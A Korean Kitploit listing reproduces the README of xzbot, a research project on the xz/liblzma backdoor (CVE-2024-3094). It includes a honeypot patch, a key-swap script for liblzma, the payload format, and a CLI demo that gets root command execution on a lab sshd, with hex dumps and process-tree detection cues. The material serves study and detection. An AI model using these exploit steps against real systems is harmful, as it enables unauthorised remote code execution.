Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
xzbot — 메모, 허니팟, 그리고 xz 백도어(CVE-2024-3094)에 대한 익스플로잇 데모 | Kitploit
도구/GitHubGitHub/amlweems/xzbot
Vulnerability AnalysisExploitationCryptographyPenetration TestingBinary AnalysisPayload Development
GitHubamlweems/xzbot

xzbot

메모, 허니팟, 그리고 xz 백도어(CVE-2024-3094)에 대한 익스플로잇 데모

저장소 보기
3.6k2352년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

xzbot

xz 백도어 탐구 (CVE-2024-3094)backdoor 다음 내용을 포함합니다:

  • honeypot: 공격 시도를 탐지하기 위한 가짜 취약 서버
  • ed448 patch: 우리의 ED448 공개 키를 사용하도록 liblzma.so 패치
  • backdoor format: 백도어 페이로드의 형식
  • backdoor demo: ED448 개인 키를 알고 있다고 가정하고 RCE를 트리거하는 CLI

xzbot 데모

honeypot

openssh.patch 파일을 참조하세요. 이는 백도어 형식과 일치하는 공개 키 N을 가진 연결 시도를 기록하는 간단한 openssh 패치입니다.

root@kitploit:~
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make

모든 연결 시도는 sshd 로그에 다음과 같이 나타납니다:

root@kitploit:~
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...

ed448 patch

백도어는 서명 검증 및 페이로드 복호화를 위해 하드코딩된 ED448 공개 키를 사용합니다. 이 키를 우리 것으로 교체하면 백도어를 트리거할 수 있습니다.

공격자의 ED448 키:

root@kitploit:~
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

이 키를 우리 것으로 교체합니다 (seed=0으로 생성):

root@kitploit:~
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

시작하려면 백도어가 삽입된 libxzma 공유 오브젝트를 다운로드하세요. 예: https://snapshot.debian.org/package/xz-utils/5.6.1-1 그런 다음 패치 스크립트를 실행하세요. 예제는 assets/를 참조하세요.

root@kitploit:~
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

그런 다음 수정된 liblzma.so.5.6.1.patch 공유 오브젝트를 사용하여 sshd를 실행하세요.

backdoor format

백도어는 CA 서명 키 N 값에 페이로드가 포함된 SSH 인증서로 연결하여 트리거할 수 있습니다. 이 페이로드는 공격자의 ED448 키로 암호화되고 서명되어야 합니다.

구조는 다음과 같은 형식을 가집니다:

root@kitploit:~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   a (32 bit)  |   b (32 bit)  |           c (64 bit)          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                     ciphertext (240 bytes)                    +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

요청 유형은 위의 세 값(a * b + c)에서 파생됩니다. 이 값이 3보다 크면 백도어는 처리를 건너뜁니다.

  • 유형 1: 알 수 없음, 0바이트 예상
  • 유형 2: system()으로 null로 끝나는 페이로드 실행
  • 유형 3: 알 수 없음, 48바이트 예상 (서명됨)

암호문은 ED448 공개 키의 첫 32바이트를 대칭 키로 사용하여 chacha20으로 암호화됩니다. 따라서 다음 키를 사용하여 모든 익스플로잇 시도를 복호화할 수 있습니다:

root@kitploit:~
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

암호문은 다음과 같은 형식을 가집니다:

root@kitploit:~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    signature (114 bytes)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| x (1 bit) |            unused ? (14 bit)          | y (1 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         length (8 bit)        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         command \x00          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

x 또는 y 중 하나를 설정하면 약간 다른 코드 경로가 발생합니다.

서명은 다음 값들에 대해 계산된 RFC-8032 ED448 서명입니다:

  • 32비트 매직 값 (예: 02 00 00 00)
  • 명령 앞의 5바이트 필드
  • [선택 사항] 명령의 length 바이트
  • 서버 호스트 키의 sha256 해시의 첫 32바이트

backdoor demo

root@kitploit:~
$ go install github.com/amlweems/xzbot@latest
root@kitploit:~
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

다음은 취약한 SSH 서버 127.0.0.1:2222에 연결하여 id > /tmp/.xz 명령을 실행합니다:

root@kitploit:~
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |[email protected]|
00000020  00 00 00 00 00 00 00 03  01 00 01 00 00 01 01 01  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000160  00 00 01 14 00 00 00 07  73 73 68 2d 72 73 61 00  |........ssh-rsa.|
00000170  00 00 01 01 00 00 01 00  02 00 00 00 01 00 00 00  |................|
00000180  00 00 00 00 00 00 00 00  54 97 bc c5 ef 93 e4 24  |........T......$|
00000190  cf b1 57 57 59 85 52 fd  41 2a a5 54 9e aa c6 52  |..WWY.R.A*.T...R|
000001a0  58 64 a4 17 45 8a af 76  ce d2 e3 0b 7c bb 1f 29  |Xd..E..v....|..)|
000001b0  2b f0 38 45 3f 5e 00 f1  b0 00 15 84 e7 bc 10 1f  |+.8E?^..........|
000001c0  0f 5f 50 36 07 9f bd 07  05 77 5c 74 84 69 c9 7a  |._P6.....w\t.i.z|
000001d0  28 6b e8 16 aa 99 34 bf  9d c4 c4 5c b8 fd 4a 3c  |(k....4....\..J<|
000001e0  d8 2b 39 32 06 d9 4f a4  3a 00 d0 0b 0f a2 21 c0  |.+92..O.:.....!.|
000001f0  86 c3 c9 e2 e6 17 b4 a6  54 ba c3 a1 4c 40 91 be  |........T...L@..|
00000200  91 9a 2b f8 0b 18 61 1c  5e e1 e0 5b e8 00 00 00  |..+...a.^..[....|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000270  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 07  |................|
00000280  73 73 68 2d 72 73 61 00  00 00 01 00              |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF

취약한 서버에서 system() 호출에 워치포인트를 설정하여 명령이 실행되는 것을 관찰할 수 있습니다:

root@kitploit:~
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
    printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)

익스플로잇 후의 프로세스 트리는 일반적인 sshd 프로세스 트리와 다르게 보입니다:

root@kitploit:~
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root         765       1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1026     765  7 18:51 ?        00:00:00  \_ sshd: foo [priv]
foo         1050    1026  0 18:51 ?        00:00:00      \_ sshd: foo@pts/1
foo         1051    1050  0 18:51 pts/1    00:00:00          \_ -bash

# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root         765       1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         941     765  4 18:04 ?        00:00:00  \_ sshd: root [priv]
sshd         942     941  0 18:04 ?        00:00:00      \_ sshd: root [net]
root         943     941  0 18:04 ?        00:00:00      \_ sh -c sleep 60
root         944     943  0 18:04 ?        00:00:00          \_ sleep 60

참고: 성공적인 익스플로잇은 INFO 이상의 로그 항목을 생성하지 않습니다.

References

  • https://www.openwall.com/lists/oss-security/2024/03/29/4
  • https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
  • https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
  • https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
도구 다운로드